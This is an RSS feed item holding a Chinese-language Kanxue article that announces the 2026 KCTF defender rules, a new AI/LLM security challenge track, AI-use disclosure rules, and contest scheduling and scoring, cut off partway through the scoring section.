<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>看雪学苑</title>
    <link>https://wechat2rss.xlab.app/feed/0e026637254d450ae84c59f87d4e4fb4616651ca.xml</link>
    <description>致力于移动与安全研究的开发者社区，看雪学院(kanxue.com)官方微信公众帐号。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (看雪学苑)</managingEditor>
    <pubDate>Tue, 12 May 2026 17:59:51 +0800</pubDate>
    <lastBuildDate>Tue, 12 May 2026 17:59:51 +0800</lastBuildDate>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM5ic838F3ibmJb7ZEDRKNyjTSxQPoRubH2dC55frR0ibakFQ/0</url>
      <title>看雪学苑</title>
      <link>https://wechat2rss.xlab.app/feed/0e026637254d450ae84c59f87d4e4fb4616651ca.xml</link>
    </image>
    <item>
      <title>看雪·2026 KCTF 防守方规则出炉！全网火热征题进行中（新增AI赛道）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614891&amp;idx=1&amp;sn=6836c87fff9b825a3d068bb98dd2a8fe</link>
      <description>欢迎踊跃参与赢大奖</description>
      <content:encoded><![CDATA[<p><span>2026KCTF</span> <span>2026-05-12 17:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=85bc0a1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K31cLdDUO79k46E7EW3b2ic46dSd58SQu6nzuKPab0pQU0iaYpwd54AV7AtL6dNXm98Nq7Y8xy48xqdCLLibVdhlRgIYzKNUia7laU%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>欢迎踊跃参与赢大奖</p>
  <p style="text-align: center;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img class="rich_pages wxw-img" data-aistatus="1" data-backh="234" data-backw="578" data-imgfileid="311131215" data-ratio="0.4042857142857143" style="max-width: 100%;width: 100%;" data-type="webp" data-w="1400" src="https://wechat2rss.xlab.app/img-proxy/?k=7cda3e0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K3XzAkaQvEN8iaWoia2aMXxYal9BxibUxKlO4PicUmkn1WQUT8kP6AAOll5HZSRPicia25kvBUpfZtXHFozDJqUHqJ3pwqOjAkiaVcOeg%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span><span leaf=""><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: center;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">8月5日征题截止  </span><span textstyle="" style="color: rgb(255, 76, 0);font-style: italic;">*文末抽奖福利别错过</span></span></p><p style="margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fbg5nrlk"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 82, 255);">永夜十二时辰，破壁智竞启新章！看雪・2026 KCTF 重磅来袭，</span><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">作为国内安全圈积淀深厚、口碑载道的顶级攻防竞技赛事，本届大赛紧跟 AI 技术浪潮全面革新，新增 AI专属赛道，合规开放 AI 工具辅助攻防全流程。</span></span></p><p style="margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fbg5n22ww"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">赛事延续经典攻防双阶段赛制，防守方匠心筑题、攻击方极速夺旗，以动态积分机制衡量技术实力，兼顾难度、创意与实战价值，</span></span></p><p style="margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fbg5n18y8"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 82, 255);">即日起至8月5日防守方征题火热开启！大疆运动相机、布鲁克斯跑鞋、索尼运动耳机等重磅好礼</span><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">静待技术强者，更有机会跻身安全圈人才梯队，解锁职业新机遇。诚邀全网安全精英以技会友，在这场攻防盛宴中突破边界、共探安全新境！</span></span></p><p style="text-align: left;margin-left: 8px;margin-right: 8px;"><span leaf=""><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 12px;min-width: 5%;max-width: 100%;height: auto;background-image: linear-gradient(to top, rgb(223, 233, 243) 0%, white 100%);box-sizing: border-box;"><div style="text-align: justify;color: rgb(39, 47, 223);font-size: 15px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">一、活动详情</span></strong></span></p></div></div></div></div><p style="text-align: justify;margin-left: 8px;margin-right: 8px;margin-top: 16px;"><span leaf="" mpa-font-style="mp275vldaep" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">1.活动时间</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp275vld1roz" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">防守方出题：2026年4月2日 ～ 2026年08月05日（防守方题目准备阶段）</span></span><span leaf=""><br/></span><span leaf="" mpa-font-style="mp275vld101e" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击方比赛：2026年08月10日 ～ 2025年09月10日（具体视比赛情况定）</span></span></p><h1 style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mp275vld15k7" style="font-size: 15px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">2.比赛页面</span></span></span></h1><h1 style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mp270b55cpx"><span leaf="" style="font-size: 15px;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">2026 KCTF 官方网站：</span><span textstyle="" style="letter-spacing: normal;color: rgb(63, 63, 63);font-style: italic;"><a href="https://ctf.kanxue.com/game-team_list-22-45.htm" target="_blank">https://ctf.kanxue.com/game-team_list-22-45.htm</a></span></span></span></h1><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 12px;min-width: 5%;max-width: 100%;height: auto;background-image: linear-gradient(to top, rgb(223, 233, 243) 0%, white 100%);box-sizing: border-box;"><div style="text-align: justify;color: rgb(39, 47, 223);font-size: 15px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">二、2026年规则更新通知</span></b></p></div></div></div></div><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55sr4" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">为适应 AI 技术在安全研究、CTF 出题与解题中的应用发展，2026 年 KCTF 规则拟作如下更新：</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mp270b55dop"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">1.</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">新增 AI Security / LLM Security 题型</span></span></strong></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5511br" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">征题范围新增 AI 安全 / 大模型安全方向，包括但不限于 Prompt Injection、Jailbreak、RAG 安全、Agent 工具调用安全、模型与数据安全、AI 供应链安全、LLM 应用漏洞利用等相关题目。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551v7f" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI Security / LLM Security 题目须保证可复现、可审计、可稳定判定，不得依赖不可控外部 AI 服务作为核心判题逻辑，相关题目须经组委会专项审核后方可参赛。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mp270b55nx"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">2.</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">允许攻防双方使用 AI 工具</span></span></strong></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5524az" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">防守方和攻击方均可使用 AI 工具辅助出题、审计、分析、解题、脚本编写和 writeup 整理。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551gbp" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI 工具仅作为辅助工具，使用方对 AI 生成或辅助生成的内容承担全部责任。使用 AI 不降低题目的原创性、安全性、稳定性、可复现性和可审计性要求，也不改变攻击方积分计算方式。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mp270b551b7l"><span leaf="" style="font-weight: bold;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3.</span></span><strong><span leaf="" style="font-weight: bold;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">新增 AI 使用披露要求</span></span></strong></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551a3u" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">防守方如使用 AI 工具辅助出题，应在提交材料中说明 AI 使用情况，包括 AI 参与环节、是否进行人工审核、是否包含 AI 生成代码或第三方内容等。组委会可根据审核需要要求补充说明。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mp270b551wzo"><span leaf="" style="font-weight: bold;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">4.</span></span><strong><span leaf="" style="font-weight: bold;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">明确 AI 使用边界</span></span></strong></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55tjl" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">允许使用 AI Agent 或自动化脚本辅助分析，但不得对比赛平台、靶机或判题系统进行高频、无节制、破坏性或超出题目范围的自动化请求。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551kd0" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">不得利用 AI 工具实施攻击比赛平台、破坏比赛环境、绕过平台权限、批量爆破、泄露 flag、共享答案、攻击非题目目标等违规行为。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mp270b559bi"><span leaf="" style="font-weight: bold;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.</span></span><strong><span leaf="" style="font-weight: bold;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">优化部分规则表述</span></span></strong></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551pcc" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">统一题型和平台名称表述，将 Windows、Android、Linux、IoT 等名称规范化；修正部分章节编号、年份表述和重复编号问题；扩展“多解/非预期解”的定义，使其适用于 CrackMe、Reverse、PWN、WEB、Crypto 及 AI Security / LLM Security 等题型。</span></span></p><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 12px;min-width: 5%;max-width: 100%;height: auto;background-image: linear-gradient(to top, rgb(223, 233, 243) 0%, white 100%);box-sizing: border-box;"><div style="text-align: justify;color: rgb(39, 47, 223);font-size: 15px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">三、主办方及支持单位</span></b></p></div></div></div></div><p style="text-align: justify;margin: 8px;"><span leaf="" mpa-font-style="mp270b551bq8" style="text-align: justify;font-size: 15px;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">主办方：</span></span></p><p style="text-align: left;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.37962962962962965" data-s="300,640" data-type="png" data-w="1080" style="width:201px;height:76px;" type="block" data-imgfileid="311131219" src="https://wechat2rss.xlab.app/img-proxy/?k=4e732429&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K0bOVY6zicBywpeZgpj9Xhia8kfzic3vgeVDx9MSKwuxKqOBjTX0XiaxUAS1SWibjxLHduibiaicgpB7ia9D1YIoqGTfPr4jHjso7iaZ0E8M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="text-align: justify;font-size: 15px;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">支持单位：虚位以待，诚招加入！</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="396" style="width: 181px;height: 181px;" type="block" data-imgfileid="311131220" src="https://wechat2rss.xlab.app/img-proxy/?k=856ba24a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K0QVTEl9jWmzA25riac70Ced7pAyOJeOZLnbry4o1xpia4QD4uPg1gTkxms0Ijv8KhP3rKzIk5gTFjRdSCrtRwicPprjr7Cbfp9B4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div><p style="text-align: center;margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 15px;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: justify; margin-left: 8px; margin-right: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: normal;">合作咨询</span></span></p></div><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 12px;min-width: 5%;max-width: 100%;height: auto;background-image: linear-gradient(to top, rgb(223, 233, 243) 0%, white 100%);box-sizing: border-box;"><div style="text-align: justify;color: rgb(39, 47, 223);font-size: 15px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">四、防守方比赛赛制</span></b></p></div></div></div></div><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55oa5" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">本届 KCTF 团队赛为线上赛，由论坛会员自由组成攻、防两方团队，每个团队人数不超过 5 人。由防守方出题，攻击方夺旗。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55oa5" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">1.防守方提交题目</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mp270b551q3z" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">参加防守的团队，每个团队需要提供一个防守题目到提交区：</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">KCTF2026提交区(隐藏版块）</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: normal;color: rgb(0, 128, 255);font-style: italic;">：</span></span><span leaf=""><span textstyle="" style="letter-spacing: normal;color: rgb(0, 128, 255);font-style: italic;"><a href="https://bbs.kanxue.com/forum-122.htm" target="_blank">https://bbs.kanxue.com/forum-122.htm</a></span></span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5516v5" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">评委审核通过后方可作为防守方参赛，审核结果在攻击赛开始前一天公布。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5516v5" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">2.赛期</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55lg2" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">规则：顺序发题、弹性赛期。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551cku" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">防守题的赛期根据被破解情况决定，最少 1 天，最多 4 天。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b555dc" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">一律中午 12 点发题。发题当天记作第 0 天。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mp270b55z89" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">若第 i 天上午 6 点该题被破解次数大于等于</span></span><semantics><mrow><msup><mn><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5</span></span></mn><mrow><mn><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3</span></span></mn><mo><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">−</span></span></mo><mi><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">i</span></span></mi></mrow></msup></mrow><annotation encoding="application/x-tex"></annotation></semantics><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5^{3-i}</span></span><span aria-hidden="true"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5</span></span><span style="height: 0.8247em;"><span style="top: -3.063em;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">−</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">i</span></span></span></span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">，则在第 i 天中午 12 点结束该题，发下一题。</span></span></span></p><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55wbg" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">解释</span></span></span></h3><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b554es" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">发题后的第 1 天 6 点，若破解次数少于 25 人，则继续比赛；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55zsj" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">发题后的第 2 天 6 点，若破解次数少于 5 人，则继续比赛；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55143c" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">发题后的第 3 天 6 点，若破解次数少于 1 人，则继续比赛；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55gx5" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">以上任意一天继续比赛的条件不满足，就中午 12 点换下一题；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5513u" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">6 点至 12 点之间的破解，依然有效；发题后的第 4 天中午 12 点，此题一定结束。</span></span></p></li></ul><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55im3" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3.积分规则</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mp270b55klg" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">防守题积分分为</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">难度值积分</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">、</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">火力值积分</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">和</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">精致度积分</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">三种。在所有奖项评选中，若积分相同，则以提交题目时间来排序，最早提交题目的胜出。</span></span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551qpf" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击方积分是根据其破解战绩而计算得到的。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551lof" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">注：攻击者不能攻击自己提交的题目。</span></span></p><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b5514a5" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3.1 难度系数评估</span></span></span></h3><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551ie8" style="font-size: 15px;"><span leaf=""><span 